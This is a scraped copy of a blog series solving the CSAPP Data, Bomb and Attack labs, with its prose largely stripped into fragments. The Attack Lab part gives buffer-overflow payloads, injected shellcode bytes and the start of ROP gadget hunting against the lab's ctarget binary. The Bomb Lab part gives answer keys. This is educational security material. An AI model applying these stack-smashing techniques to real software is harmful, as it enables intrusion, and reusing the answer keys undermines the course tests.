0% found this document useful (0 votes)
95 views136 pages

【不周山之读厚 Csapp】i Data Lab (-V-) 小土刀

The document outlines various programming tasks and techniques related to data manipulation, specifically in the context of the CSAPP (Computer Systems: A Programmer's Perspective) Data Lab. It includes functions for bitwise operations, floating-point conversions, and integer comparisons, along with their implementations in C. Each function is accompanied by a brief description of its purpose and example usage.

Uploaded by

c995thfdvf
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
95 views136 pages

【不周山之读厚 Csapp】i Data Lab (-V-) 小土刀

The document outlines various programming tasks and techniques related to data manipulation, specifically in the context of the CSAPP (Computer Systems: A Programmer's Perspective) Data Lab. It includes functions for bitwise operations, floating-point conversions, and integer comparisons, along with their implementations in C. Each function is accompanied by a brief description of its purpose and example usage.

Uploaded by

c995thfdvf
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 136

!

" # ☼ % & '

CSAPP I Data Lab


( 2016-04-16 | ) 2017-08-03 | * Technique | + | ,
- 3,638 | . 16

0 1

16.06.12: isGreat
16.04.16:

-
-
-

-
-
-
-
-
-

I Data Lab -
II Bomb Lab - gdb
III Attack Lab -
IV Cache Lab -
V Shell Lab - shell

VI Malloc Lab -
VII Proxy Lab -

Datalab

bitXor(x,y) & ~ x^y 1 14

allOddBits(x) 1 2 12

isAsciiDigit(x) x ASCII 3 15

conditional(x, y, z) C x? y:z 3 16

!x !
logicalNeg(x) 4 12
tmin() 1 4

isTmax(x) x 32 2 10

negate(x) -x 3 24

isLessOrEqual(x,y) x <= y? 3 24

x
howManyBits(x) 4 90

float_twice(uf) 2.0*f 4 30

float_f2i(uf) (int) f 4 30

float_i2f(x) (float) x 4 30

13 bits.c btest , dlc , BDD

checker

!, 0, TMin
1. 0 255(0xFF)

2.

3. ! ~

4. & | + << >>

1.
2.

3.

4.

5.

6.
7. int

8. int, unsigned

2’s complent 32

1. dlc(data lab checker)

2. =

3. btest
4. BDD checker

thirdBits

return word with every third bit (starting from the LSB) set to 1

! ~ & ^ | + << >>


8

0100 1001 0010 0100 1001 0010 0100 1001

255 1111 1111

Desired output: 0100 1001 0010 0100 1001 0010 0100 1001
Step 1: 0000 0000 0000 0000 0000 0000 0100 1001 0x49
Step 2: 0000 0000 0000 0000 1001 0010 0000 0000 Shift << 9
Step 3: 0000 0000 0000 0000 1001 0010 0100 1001 Add 0x49
Step 4: 0100 1001 0010 0100 0000 0000 0000 0000 Shift << 18
Step 5: 0100 1001 0010 0100 1001 0010 0100 1001 Add result from step 3

int thirdBits(void) {
int a = 0x49;
int b = (a << 9);
int c = b + a;
return (c << 18) + c; // Steps 4 and 5
}

./dlc -e bits.c
-e

isTmin

returns 1 if x is the minimum, two’s complement number, and 0 otherwise


! ~ & ^ | +

10

2’s complement Tmin 10000000 00000000 00000000 00000000

Tmin x Tmin &

Tmin 0

0 Tmin

// 0 x 0
int isTmin(int x) {
return !(x+x)&!!(x);
}

isNotEqual

return 0 if x == y, and 1 otherwise

: isNotEqual(5,5) = 0, isNotEqual(4,5) = 1
! ~ & ^ | + << >>

6
2

0 !!
bit boolean

int isNotEqual(int x, int y)


{
return(!!(x ^ y));
}

anyOddBit

return 1 if any odd-numbered bit in word set to 1


anyOddBit(0x5) = 0, anyOddBit(0x7) = 1
! ~ & ^ | + << >>

12
2

0xFF 24 | >>

10101010 & 0

int anyOddBit(int x) {
return !!((x | (x >> 8) | (x >> 16) | (x >> 24)) & 0xaa);
}

negate
return -x

negate(1) = -1.
! ~ & ^ | + << >>

5
2

0010 (2) 1101 (-3)

1110 (-2) 0001 (1)

0000 (0) 1111 (-1)

1 2’s complement 1

int negate(int x) {
return ~x + 1;
}

conditional

same as x ? y : z

conditional(2,4,5) = 4
! ~ & ^ | + << >>

16
3

if
y z x (y op expr) | (z op expr) (op

expr )

expr 0x00000000 0xffffffff

~!x + 1 x 0 0xffffffff 0
int conditional(int x, int y, int z) {
/*
*if x!=0,mask=0x00000000,so y&~mask==y and z&mask==0
*if x==0,mask=0xffffffff,so y&~mask = y&0 =0; z&mask=z
*/
int mask= ~!x+1;
return (y & ~mask)|(z & mask);
}

subOK

Determine if can compute x-y without overflow

subOK(0x80000000,0x80000000) = 1

subOK(0x80000000,0x70000000) = 0
! ~ & ^ | + << >>

20
3

x-y
x-y ~y+1+x

overflow

1. x y
2. x-y x

overflow x y
x-y x-y x

int subOK(int x, int y) {


/*
* overflow of sub happens iff
* 1) x and y have different signs
* 2) res = x - y has different sign with x
*/
int res = x + (~y + 1);
int sameSign = x ^ y;
int resSign = res ^ x;

return !((sameSign & resSign) >> 31);


}

isGreater

if x > y then return 1, else return 0


isGreater(4,5) = 0, isGreater(5,4) = 1
! ~ & ^ | + << >>

24
3

1.

2.

int isGreater(int x, int y)


{
// Boolean value indicating sign of x
// 1 = Negative
// 0 = Non-Negative
int sign_x = x >> 31;

// Boolean value indicating sign of y


// 1 = Negative
// 0 = Non-Negative
int sign_y = y >> 31;

// if the signs are equal, then


// if x is larger, sign bit of (~y + x) is 0
// if y is larger or equal to x, sign bit of (~y + x) is 1
// & AlohaJack
int equal = !(sign_x ^ sign_y) & ((~y + x) >> 31);

// if signs are not equal, these principles are reversed.


int notEqual = sign_x & !sign_y;
// this | returns 0 when it is x is greater, so you have to negate it.
return !( equal | notEqual);
}

bitParity

returns 1 if x contains an odd number of 0’s


bitParity(5) = 0, bitParity(7) = 1
! ~ & ^ | + << >>

20
4

int bitParity(int x) {
/* XORing two numbers returns a number with same bit parity.
Keep shifting half of our number until reduced to 1 bit simple case.*/

x = ( x >> 16 ) ^ x;
x = ( x >> 8 ) ^ x;
x = ( x >> 4 ) ^ x;
x = ( x >> 2 ) ^ x;
x = ( x >> 1) ^ x;
return (x & 1);
}

howManyBits

return the minimum number of bits required to represent x in two’s complement

howManyBits(12) = 5
howManyBits(298) = 10
howManyBits(-5) = 4

howManyBits(0) = 1
howManyBits(-1) = 1

howManyBits(0x80000000) = 32
! ~ & ^ | + << >>

90

@guojiex

int howManyBits(int x) {
int temp=x^(x>>31);//get positive of x;
int isZero=!temp;
//notZeroMask is 0xffffffff
int notZeroMask=(!(!temp)<<31)>>31;
int bit_16,bit_8,bit_4,bit_2,bit_1;
bit_16=!(!(temp>>16))<<4;
//see if the high 16bits have value,if have,then we need at least 16 bits
//if the highest 16 bits have value,then rightshift 16 to see the exact place of
//if not means they are all zero,right shift nothing and we should only consider the low
temp=temp>>bit_16;
bit_8=!(!(temp>>8))<<3;
temp=temp>>bit_8;
bit_4=!(!(temp>>4))<<2;
temp=temp>>bit_4;
bit_2=!(!(temp>>2))<<1;
temp=temp>>bit_2;
bit_1=!(!(temp>>1));
temp=bit_16+bit_8+bit_4+bit_2+bit_1+2;//at least we need one bit for 1 to tmax,
//and we need another bit for sign
return isZero|(temp&notZeroMask);
}

float_half

Return bit-level equivalent of expression (float) x. Result is returned as unsigned int, but it is to be

interpreted as the bit-level representation of a single-precision floating point values.


Any integer/unsigned operations incl. ||, &&. also if, while
30
4

IEEE
unsigned float_half(unsigned uf) {
int round, S, E, maskE, maskM, maskS,maskEM, maskSM, tmp;
round = !((uf&3)^3);
maskS = 0x80000000;
maskE = 0x7F800000;
maskM = 0x007FFFFF;
maskEM= 0x7FFFFFFF;
maskSM= 0x807FFFFF;
E = uf&maskE;
S = uf&maskS;
//Nan or Infinity
if (E==0x7F800000) return uf;
//E=1 - specialcase
if (E==0x00800000){
return S | (round + ((uf & maskEM)>>1)) ;
}
//E=0 - denormalized
if (E==0x00000000) {
tmp = (uf&maskM)>>1;
return S | (tmp + round);
}
//normalized case
return (((E>>23)-1)<<23) | (uf & maskSM);
}

float_i2f

Return bit-level equivalent of expression (float) x. Result is returned as unsigned int, but it is to be
interpreted as the bit-level representation of a single-precision floating point values.
Any integer/unsigned operations incl. ||, &&. also if, while
30

IEEE

@guojiex

unsigned float_i2f(int x) {
/*int exponent=0;
return ((sign<<31)|(exponent<<23)|fraction)+flag;*/
int sign=x>>31&1;
int i;
int exponent;
int fraction;
int delta;
int fraction_mask;
if(x==0)//||x==0x8000000)
return x;
else if(x==0x80000000)
exponent=158;
else{
if (sign)//turn negtive to positive
x = -x;
i = 30;
while ( !(x >> i) )//see how many bits do x have(rightshift until 0)
i--;
//printf("%x %d\n",x,i);
exponent = i + 127;
x = x << (31 - i);//clean all those zeroes of high bits
fraction_mask = 0x7fffff;//(1 << 23) - 1;
fraction = fraction_mask & (x >> 8);//right shift 8 bits to become the fraction,sign
x = x & 0xff;
delta = x > 128 || ((x == 128) && (fraction & 1));//if lowest 8 bits of x is larger t
fraction += delta;
if(fraction >> 23) {//if after rounding fraction is larger than 23bits
fraction &= fraction_mask;
exponent += 1;
}
}
return (sign<<31)|(exponent<<23)|fraction;
}

float_f2i

Return bit-level equivalent of expression (int) f for floating point argument f. Argument is passed
as unsigned int, but it is to be interpreted as the bit-level representation of a single-precision floating point
value. Anything out of range (including NaN and infinity) should return 0x80000000u.

Any integer/unsigned operations incl. ||, &&. also if, while


30
4

IEEE

int float_f2i(unsigned uf) {


int exp = (uf >> 23) & 0xFF;
int frac = uf & 0x007FFFFF;
int sign = uf & 0x80000000;
int bias = exp - 127;

if (exp == 255 || bias > 30) {


// exponent is 255 (NaN), or number is too large for an int
return 0x80000000u;
} else if (!exp || bias < 0) {
// number is very small, round down to 0
return 0;
}

// append a 1 to the front to normalize


frac = frac | 1 << 23;

// float based on the bias


if (bias > 23) {
frac = frac << (bias - 23);
} else {
frac = frac >> (23 - bias);
}

if (sign) {
// original number was negative, make the new number negative
frac = ~(frac) + 1;
}

return frac;
}

# CSAPP # # # Data
/ CSAPP CSAPP II Bomb Lab 0

© 2013 - 2018 ♥ wdxtub


Hexo | - NexT.Mist
& | 2
! " # ☼ % & '

CSAPP II Bomb Lab


( 2016-04-16 | ) 2017-08-03 | * Technique | + | ,
- 5,698 | . 24

-
-

-
-
-
-

-
-
-

I Data Lab -
II Bomb Lab - gdb

III Attack Lab -


IV Cache Lab -
V Shell Lab - shell
VI Malloc Lab -
VII Proxy Lab -

$ $-42 , $0x15213

% %esi , %rax

(%rbx) , 0x1c(%rax) ,

0x4(%rcx, %rdi,

0x1)
mov %rbx, %rdx rdx = rbx

add (%rdx), %r8 r8 += value at rdx

mul $3, %r8 r8 *= 3

sub $1, %r8 r8--

lea (%rdx, %rbx, 2), %rdx rdx = rdx + rbx*2

cmp b,a a-b

test b, a a&b

cmpl %r9, %r10


jg 8675309

if %r10 > %r9, jump to 8675309

Jump if above(unsigned
jmp Always jump ja
>)

je/jz Jump if eq / zero jae Jump if above / equal

Jump if below(unsigned
jne/jnz Jump if !eq / !zero jb
<)

jg Jump if greater jbe Jump if below / equal

jge Jump if greater / eq js Jump if sign bits is 1(neg)

jl Jump if less jns Jump if sign bit is 0 (pos)

jle Jump if less / eq x x


cmp $0x15213, %r12
jge deadbeef

%r12 >= 0x15213 0xdeadeef

cmp %rax, %rdi


jae 15213b

%rdi %rax 0x15213b

test %r8, %r8


jnz (%rsi)

%r8 & %r8 %rsi

#
# bomb
objdump -t bomb | less

#
# explode_bomb
objdump -d bomb > bomb.txt

#
strings bomb | less

GDB

gdb bomb

#
help

#
break explode_bomb
break phase_1
#
run

#
disas

#
info registers

#
print $rsp

#
stepi

#
x/4wd $rsp

ctl+c sscanf

objdump -t bomb | less


bomb less

/bomb

bomb.c

initialize_bomb_solve

explode_bomb

bomb_id

initialize_bomb

explode_bomb

objdump -d bomb > bomb.txt


main

0000000000400fb0 <phase_1>:
400fb0: 48 83 ec 08 sub $0x8,%rsp
400fb4: be f0 27 40 00 mov $0x4027f0,%esi
400fb9: e8 72 04 00 00 callq 401430 <strings_not_equal>
400fbe: 85 c0 test %eax,%eax
400fc0: 74 05 je 400fc7 <phase_1+0x17>
400fc2: e8 3d 07 00 00 callq 401704 <explode_bomb>
400fc7: 48 83 c4 08 add $0x8,%rsp
400fcb: c3 retq

callq strings_not_equal explode_bomb

%esi

test %eax 0 0

$0x4027f0

gdb bomb break explode_bomb break phase_1


run

disas

info registers :
abc eax eax rax

print $eax x/s $eax


stepi

mov x $esi

Bingo

Why make trillions when we could make... billions?

quit gdb touch sol.txt

gdb
phase_1 continue

phase_2 explode_bomb

phase_2

abcd
read_six_numbers

cmpl $0x1, (%rsp) 1 +24


1 %ebx +57 5 1 5 +31

movslq %rdx

1 lea %eax 0 cltq 64 %rax 0


%eax = (%rsp) + 4 * %rax %eax 1 2 %eax 2
( (%rsp, %rdx, 4) ) 2 2
+31
1 2 4 8 16 32

0000000000401010 <phase_3>:
401010: 48 83 ec 18 sub $0x18,%rsp
401014: 4c 8d 44 24 0c lea 0xc(%rsp),%r8
401019: 48 8d 4c 24 07 lea 0x7(%rsp),%rcx
40101e: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
401023: be 4e 28 40 00 mov $0x40284e,%esi
401028: b8 00 00 00 00 mov $0x0,%eax
40102d: e8 7e fc ff ff callq 400cb0 <__isoc99_sscanf@plt>
// %eax sscanf 3
401032: 83 f8 02 cmp $0x2,%eax
401035: 7f 05 jg 40103c <phase_3+0x2c>
401037: e8 c8 06 00 00 callq 401704 <explode_bomb>
// 7
40103c: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp)
401041: 0f 87 fc 00 00 00 ja 401143 <phase_3+0x133>
401047: 8b 44 24 08 mov 0x8(%rsp),%eax
// 0x402860 %rax
40104b: ff 24 c5 60 28 40 00 jmpq *0x402860(,%rax,8)
401052: b8 6e 00 00 00 mov $0x6e,%eax
401057: 81 7c 24 0c df 00 00 cmpl $0xdf,0xc(%rsp)
40105e: 00
40105f: 0f 84 e8 00 00 00 je 40114d <phase_3+0x13d>
401065: e8 9a 06 00 00 callq 401704 <explode_bomb>
40106a: b8 6e 00 00 00 mov $0x6e,%eax
40106f: e9 d9 00 00 00 jmpq 40114d <phase_3+0x13d>
401074: b8 6a 00 00 00 mov $0x6a,%eax
401079: 81 7c 24 0c 01 03 00 cmpl $0x301,0xc(%rsp)
401080: 00
401081: 0f 84 c6 00 00 00 je 40114d <phase_3+0x13d>
401087: e8 78 06 00 00 callq 401704 <explode_bomb>
40108c: b8 6a 00 00 00 mov $0x6a,%eax
401091: e9 b7 00 00 00 jmpq 40114d <phase_3+0x13d>
401096: b8 63 00 00 00 mov $0x63,%eax
40109b: 81 7c 24 0c 1d 01 00 cmpl $0x11d,0xc(%rsp)
4010a2: 00
4010a3: 0f 84 a4 00 00 00 je 40114d <phase_3+0x13d>
4010a9: e8 56 06 00 00 callq 401704 <explode_bomb>
4010ae: b8 63 00 00 00 mov $0x63,%eax
4010b3: e9 95 00 00 00 jmpq 40114d <phase_3+0x13d>
4010b8: b8 70 00 00 00 mov $0x70,%eax
4010bd: 81 7c 24 0c 16 02 00 cmpl $0x216,0xc(%rsp)
4010c4: 00
4010c5: 0f 84 82 00 00 00 je 40114d <phase_3+0x13d>
4010cb: e8 34 06 00 00 callq 401704 <explode_bomb>
4010d0: b8 70 00 00 00 mov $0x70,%eax
4010d5: eb 76 jmp 40114d <phase_3+0x13d>
4010d7: b8 77 00 00 00 mov $0x77,%eax
4010dc: 81 7c 24 0c cd 00 00 cmpl $0xcd,0xc(%rsp)
4010e3: 00
4010e4: 74 67 je 40114d <phase_3+0x13d>
4010e6: e8 19 06 00 00 callq 401704 <explode_bomb>
4010eb: b8 77 00 00 00 mov $0x77,%eax
4010f0: eb 5b jmp 40114d <phase_3+0x13d>
4010f2: b8 70 00 00 00 mov $0x70,%eax
4010f7: 81 7c 24 0c 9a 00 00 cmpl $0x9a,0xc(%rsp)
4010fe: 00
4010ff: 74 4c je 40114d <phase_3+0x13d>
401101: e8 fe 05 00 00 callq 401704 <explode_bomb>
401106: b8 70 00 00 00 mov $0x70,%eax
40110b: eb 40 jmp 40114d <phase_3+0x13d>
40110d: b8 74 00 00 00 mov $0x74,%eax
401112: 81 7c 24 0c 13 01 00 cmpl $0x113,0xc(%rsp)
401119: 00
40111a: 74 31 je 40114d <phase_3+0x13d>
40111c: e8 e3 05 00 00 callq 401704 <explode_bomb>
401121: b8 74 00 00 00 mov $0x74,%eax
401126: eb 25 jmp 40114d <phase_3+0x13d>
401128: b8 79 00 00 00 mov $0x79,%eax
40112d: 81 7c 24 0c 3b 01 00 cmpl $0x13b,0xc(%rsp)
401134: 00
401135: 74 16 je 40114d <phase_3+0x13d>
401137: e8 c8 05 00 00 callq 401704 <explode_bomb>
40113c: b8 79 00 00 00 mov $0x79,%eax
401141: eb 0a jmp 40114d <phase_3+0x13d>
401143: e8 bc 05 00 00 callq 401704 <explode_bomb>
401148: b8 63 00 00 00 mov $0x63,%eax
40114d: 3a 44 24 07 cmp 0x7(%rsp),%al
401151: 74 05 je 401158 <phase_3+0x148>
401153: e8 ac 05 00 00 callq 401704 <explode_bomb>
401158: 48 83 c4 18 add $0x18,%rsp
40115c: c3 retq

0x40284e
switch

0 mov 0xdf
223 0 +317

%al mov
0x6e 110 n

0 n 223
phase_4

func4

000000000040115d <func4>:
40115d: 41 54 push %r12
40115f: 55 push %rbp
401160: 53 push %rbx
401161: 89 fb mov %edi,%ebx
401163: 85 ff test %edi,%edi
401165: 7e 24 jle 40118b <func4+0x2e>
401167: 89 f5 mov %esi,%ebp
401169: 89 f0 mov %esi,%eax
40116b: 83 ff 01 cmp $0x1,%edi
40116e: 74 20 je 401190 <func4+0x33>
401170: 8d 7f ff lea -0x1(%rdi),%edi
401173: e8 e5 ff ff ff callq 40115d <func4>
401178: 44 8d 24 28 lea (%rax,%rbp,1),%r12d
40117c: 8d 7b fe lea -0x2(%rbx),%edi
40117f: 89 ee mov %ebp,%esi

401181: e8 d7 ff ff ff callq 40115d <func4>


401186: 44 01 e0 add %r12d,%eax
401189: eb 05 jmp 401190 <func4+0x33>
40118b: b8 00 00 00 00 mov $0x0,%eax
401190: 5b pop %rbx
401191: 5d pop %rbp
401192: 41 5c pop %r12
401194: c3 retq

0x402b56

2
1 1 4
2, 3, 4

%edi 9 2 2
1

jle %edi 0 %edi 9


%ebp %eax %edi 1
lea %edi 8 delete [ ]

2/3/4

int f(x, y){


if (x == 0) return 0;
if (x == 1) return y;
return f(x-1,y) + f(x-2,y) + y;
}

264 3

6 +9
6 %edx %eax 0 %eax 5
+31 movslq 64
movzbl 32 0

0x34 52

52 16+16+10+6+2+2=52 5, 5, 1, 2, 0, 0
ASCII
eeabpp
Dump of assembler code for function phase_6:
=> 0x40122c <+0>: push %r12
0x40122e <+2>: push %rbp
0x40122f <+3>: push %rbx
0x401230 <+4>: sub $0x50,%rsp
0x401234 <+8>: mov %rsp,%rsi
0x401237 <+11>: callq 0x40173a <read_six_numbers>
0x40123c <+16>: mov $0x0,%ebp # ebp = 0
0x401241 <+21>: jmp 0x40127d <phase_6+81>

0x401243 <+23>: movslq %ebp,%rax


0x401246 <+26>: mov (%rsp,%rax,4),%eax # rsp rax eax
0x401249 <+29>: sub $0x1,%eax # eax -= 1
0x40124c <+32>: cmp $0x5,%eax
0x40124f <+35>: jbe 0x401256 <phase_6+42> # 5
0x401251 <+37>: callq 0x401704 <explode_bomb>

0x401256 <+42>: lea 0x1(%rbp),%r12d # r12d( ) = rbp + 0x1


0x40125a <+46>: mov %r12d,%ebx
0x40125d <+49>: movslq %ebp,%rbp
0x401260 <+52>: jmp 0x401275 <phase_6+73>

0x401262 <+54>: movslq %ebx,%rax


0x401265 <+57>: mov (%rsp,%rax,4),%eax # rsp rax eax
0x401268 <+60>: cmp %eax,(%rsp,%rbp,4)
0x40126b <+63>: jne 0x401272 <phase_6+70> #
0x40126d <+65>: callq 0x401704 <explode_bomb>
0x401272 <+70>: add $0x1,%ebx # ebx += 1

0x401275 <+73>: cmp $0x5,%ebx # ebx 5


0x401278 <+76>: jle 0x401262 <phase_6+54> #
0x40127a <+78>: mov %r12d,%ebp # ebp = r12d

0x40127d <+81>: cmp $0x5,%ebp # ebp 5


0x401280 <+84>: jle 0x401243 <phase_6+23> #
# 6
0x401282 <+86>: mov $0x0,%esi # esi = 0
0x401287 <+91>: jmp 0x4012af <phase_6+131>

0x401289 <+93>: mov 0x8(%rdx),%rdx # rdx( ) = rdx + 0x8


0x40128d <+97>: add $0x1,%eax # eax += 1
0x401290 <+100>: jmp 0x40129f <phase_6+115>

0x401292 <+102>: mov $0x1,%eax # eax = 1


0x401297 <+107>: mov $0x604300,%edx # edx = 0x604300
0x40129c <+112>: movslq %esi,%rcx # rcx = esi

0x40129f <+115>: cmp %eax,(%rsp,%rcx,4) # rsp rcx eax


0x4012a2 <+118>: jg 0x401289 <phase_6+93> #
0x4012a4 <+120>: movslq %esi,%rax # rax = esi
0x4012a7 <+123>: mov %rdx,0x20(%rsp,%rax,8) # rdx
0x4012ac <+128>: add $0x1,%esi # esi += 1
0x4012af <+131>: cmp $0x5,%esi # esi 5
0x4012b2 <+134>: jle 0x401292 <phase_6+102> #
0x4012b4 <+136>: mov 0x20(%rsp),%rbx # rbx = rsp + 0x20
0x4012b9 <+141>: mov %rbx,%rcx # rcx = rbx
0x4012bc <+144>: mov $0x1,%eax # eax = 1
0x4012c1 <+149>: jmp 0x4012d5 <phase_6+169>

0x4012c3 <+151>: movslq %eax,%rdx # rdx = eax


0x4012c6 <+154>: mov 0x20(%rsp,%rdx,8),%rdx # rdx = rsp 8 rdx 0x
0x4012cb <+159>: mov %rdx,0x8(%rcx) # rcx + 0x8 = rdx
0x4012cf <+163>: add $0x1,%eax # eax += 1
0x4012d2 <+166>: mov %rdx,%rcx # rcx = rdx

0x4012d5 <+169>: cmp $0x5,%eax # eax 5


0x4012d8 <+172>: jle 0x4012c3 <phase_6+151> #
0x4012da <+174>: movq $0x0,0x8(%rcx) # rcx + 0x8 = 0
0x4012e2 <+182>: mov $0x0,%ebp # ebp = 0
0x4012e7 <+187>: jmp 0x4012ff <phase_6+211>

0x4012e9 <+189>: mov 0x8(%rbx),%rax # rax( ) = rbx + 0x8


0x4012ed <+193>: mov (%rax),%eax # eax = rax
0x4012ef <+195>: cmp %eax,(%rbx) # rbx eax
0x4012f1 <+197>: jge 0x4012f8 <phase_6+204> #
0x4012f3 <+199>: callq 0x401704 <explode_bomb>
0x4012f8 <+204>: mov 0x8(%rbx),%rbx # rbx( ) = rbx + 0x8
0x4012fc <+208>: add $0x1,%ebp # ebp += 1
#
0x4012ff <+211>: cmp $0x4,%ebp # ebp 4
0x401302 <+214>: jle 0x4012e9 <phase_6+189> #
0x401304 <+216>: add $0x50,%rsp
0x401308 <+220>: pop %rbx
0x401309 <+221>: pop %rbp
0x40130a <+222>: pop %r12
0x40130c <+224>: retq
End of assembler dump.

0x604300
struct {
int value;
int order;
node* next;
} node;

order

6 2 1 5 4 3
secret_phase phase_defused

phase_defused secret_phase ( break *0x40191d )

%edi
0x402ba0

213rocks!
read_line strtol

0x3e8 1000 fun7 5

fun7 5 fun7
0x604120
36
/ \
8 50
/ \ / \
/ \ / \
6 22 45 107
/ \ / \ / \ / \
1 7 20 35 40 47 99 1001

struct treeNode
{
int data;
struct treeNode* leftChild;
struct treeNode* rightChild;
};

int fun7(struct treeNode* p, int v)


{
if (p == NULL)
return -1;
else if (v < p->data)
return 2 * fun7(p->leftChild, v);
else if (v == p->data)
return 0;
else
return 2 * fun7(p->rightChild, v) + 1;
}

5 47
# CSAPP # # # Bomb

/ CSAPP I Data Lab CSAPP III Attack Lab 0

© 2013 - 2018 ♥ wdxtub

Hexo | - NexT.Mist
& | 2
& | 2
! " # ☼ % & '

CSAPP III Attack Lab


( 2016-04-16 | ) 2017-08-03 | * Technique | + | ,
- 6,965 | . 29

iOS

-
-

-
-
-

-
-

-
-

I Data Lab -
II Bomb Lab - gdb

III Attack Lab -


IV Cache Lab -
V Shell Lab - shell
VI Malloc Lab -
VII Proxy Lab -

ROP

x86-64

%rdi, %rsi, %rdx, %rcx, %r8, %r9

%rax
%rbx, %r12, %r13, %r14, %rbp, %rsp

%rdi, %rsi, %rdx, %rcx, %r8, %r9, %rax, %r10, %r11


%rsp

%rip

x86-64 %rsp

push %reg %rsp 8 %reg (%rsp)

pop %reg (%rsp) %reg %rsp 8

(stack frame)
x86-64

call foo: %rip label foo


%rsp

x86-64

%rsp ret: pop %rip

x86-64

objdump -d

gdb

gcc objdump

# foo.s
vim foo.s

# gcc foo.o
gcc -c foo.s

# objdump
objdump -d foo.o | less

#
./hex2raw -i inputfile -o outputfile

return-oriented programming stack

gadgets string pop mov

void foo(char *input){


char buf[32];
...
strcpy (buf, input;
return;
}

0xBBBBBBBB %rbx %rax gadgets:

address1: mov %rbx, %rax; ret

address2: pop %rbx; ret

buffer buffer size

address2 %rbx 0xBBBBBBBB

%rbx address1 address1


0xBBBBBBBB %rax

gadget farm.c

gadgets

gcc -c farm.c
objdump -d farm.o | less

c3 gadget

(little endian)

ctarget :

rtarget : ROP
cookie.txt : 8 16

farm.c : gadget

hex2raw :

ctarget rtarget BUFFER_SIZE char

BUFFER_SIZE
0x0a \n

hex2raw 2 16 0 00
0xdeadbeef ef be ad de little-endian

ctarget

void test() {
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}

void touch1() {
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
getbuf() touch1() test()

ctarget

touch1 ret

gdb getbuf

buf BUFFER_SIZE

objdump -d ctarget > ctarget.txt

scp [email protected]:~/513/target334/ctarget.txt

./

getbuf getbuf

000000000040181c <getbuf>:
40181c: 48 83 ec 28 sub $0x28,%rsp
401820: 48 89 e7 mov %rsp,%rdi
401823: e8 88 02 00 00 callq 401ab0 <Gets>
401828: b8 01 00 00 00 mov $0x1,%eax
40182d: 48 83 c4 28 add $0x28,%rsp
401831: c3 retq
401832: 90 nop
401833: 90 nop

%rsp 0x28 (40) 40


test

touch1

0000000000401834 <touch1>:
401834: 48 83 ec 08 sub $0x8,%rsp
401838: c7 05 9a 3c 20 00 01 movl $0x1,0x203c9a(%rip) # 6054dc <vlevel>

0x401834 8 0x00401834
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
34 18 40 00

little endian

./hex2raw < p1.txt > p1r.txt ./ctarget -i

p1r.txt

ctarget touch2 C

void touch2(unsigned val){


vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

cookie %rdi ret

( p2.s)

mov $0x45374fee,%rdi # set my cookie as the first parameter


pushq $0x401860
ret

%rdi touch2

touch2

gcc -c p2.s
objdump -d p2.o > p2.byte

p2.byte

p2.o: file format elf64-x86-64


Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 ee 4f 37 45 mov $0x45374fee,%rdi
7: 68 60 18 40 00 pushq $0x401860
c: c3 retq

gdb

gdb ctarget getbuf %rsp

0x401828
%rsp 0x5560f2d8

48 c7 c7 ee
4f 37 45 68
60 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
d8 f2 60 55

./hex2raw < p2.txt > p2r.txt ./ctarget -i p2r.txt

int hexmatch(unsigned val, char *sval){


char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){


vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
0 ascii hexmatch

strncmp getbuf

cookie

0x45374fee -> 34 35 33 37 34 66 65 65

hexmatch

touch3 :

000000000040196e <touch3>:
40196e: 53 push %rbx
40196f: 48 89 fb mov %rdi,%rbx
401972: c7 05 60 3b 20 00 03 movl $0x3,0x203b60(%rip) # 6054dc <vlevel>
401979: 00 00 00
40197c: 48 89 fe mov %rdi,%rsi
40197f: 8b 3d 5f 3b 20 00 mov 0x203b5f(%rip),%edi # 6054e4 <cookie>
401985: e8 36 ff ff ff callq 4018c0 <hexmatch>
40198a: 85 c0 test %eax,%eax

0x401985 hexmatch

hexmatch 0x5560f2f8 cookie


0x5560f2f8 0x5560f2d8

0x5560f300

0x5560f308 0x00401f94

0x5560f318

48 c7 c7 18 f3 60 55 68 6e 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
34 35 33 37 34 66 65 65 d8 f2 60 55 00 00 00 00
09 00 00 00 00 00 00 00 94 1f 40 00 00 00 00 00
34 35 33 37 34 66 65 65

mov $0x5560f318,%rdi # mov the cookie string address to parameter


push $0x40196e #push touch3 address
ret

gcc -c p3.s
objdump -d p3.o > p3.byte

p3.byte

p3.o: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 18 f3 60 55 mov $0x5560f318,%rdi
7: 68 6e 19 40 00 pushq $0x40196e
c: c3 retq

./hex2raw < p3.txt > p3r.txt ./ctarget -i p3r.txt

rtarget

retrun-oriented
programming(ROP) ret
return gadget gadget

void setval_210(unsigned *p){


*p = 3347663060U;
}

48 89 c7 movq %rax, %rdi c3

gadget 0x400f18

( %rax - %rdi )
16
ret : 0xc3

nop : 0x90

rtarget objdump -d rtarget > rtarget.txt scp

[email protected]:~/513/target334/rtarget.txt ./

1. cookie %rdi

2. touch2

3. rtn

0000000000401a08 <start_farm>:
401a08: b8 01 00 00 00 mov $0x1,%eax
401a0d: c3 retq

0000000000401a0e <getval_440>:
